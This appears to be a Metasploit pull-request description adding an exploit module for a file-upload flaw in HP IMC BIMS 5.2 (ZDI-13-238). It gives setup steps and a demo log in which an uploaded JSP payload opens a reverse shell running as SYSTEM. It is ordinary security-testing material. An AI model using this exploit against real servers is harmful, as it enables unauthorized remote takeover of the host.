Add module for ZDI-13-238

[jvazquez-r7]

HP Intelligent Management Center with BIMS 5.2 E0401 on Windows 2003 SP2.

Validation

• download HP IMC 5.2 E0401 trial from http://h17007.www1.hp.com/us/en/networking/products/network-management/IMC_ES_Platform/index.aspx#.UmIcvJRASaI
• download the BIMS 5.2 E0401 component from http://h17007.www1.hp.com/us/en/networking/products/network-management/IMC_BIM_Software/index.aspx#.UmIc8pRASaI
• Install both IMC nad the BIMS component
• Ensute the IMC service is running on the port 8080
• Run the msfconsole, use the module, check and exploit, you should get a session, check the demo belo

DEMO

  msf > use exploit/windows/http/hp_imc_bims_upload
smsf exploit(hp_imc_bims_upload) > set rhost 192.168.172.136
rhost => 192.168.172.136
msf exploit(hp_imc_bims_upload) > check
[+] The target is vulnerable.
msf exploit(hp_imc_bims_upload) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.136:8080 - Uploading the JSP payload...
[*] 192.168.172.136:8080 - JSP payload uploaded successfully
[*] 192.168.172.136:8080 - Executing payload...
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.136:3875) at 2013-10-19 00:06:01 -0500
[+] Deleted ..\web\apps\upload\vmU4G4OQIwm8.jsp

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\Program Files\iMC\client\bin>echo 3372204887;echo cYrFRdPCeLbuzRHnAGPpDBtyinYCnJYE
3372204887;echo cYrFRdPCeLbuzRHnAGPpDBtyinYCnJYE

C:\Program Files\iMC\client\bin>attrib.exe -r "..\web\apps\upload\vmU4G4OQIwm8.jsp" ; del.exe /f /q "..\web\apps\upload\vmU4G4OQIwm8.jsp" ; rm -f "..\web\apps\upload\vmU4G4OQIwm8.jsp" >/dev/null;echo KzqGldxkdRKDPeYySFaIleGyGLkIwkNX

C:\Program Files\iMC\client\bin>whoami
whoami
nt authority\system

C:\Program Files\iMC\client\bin>

[jvazquez-r7]

Btw, while working on this exploit discovered a bug on FileDropper when using shell sessions on windows, attrib looks like failing when concatenating the deletion commands.

Filled bug at https://dev.metasploit.com/redmine/issues/8510

Will also give a chance by myself, but not today :P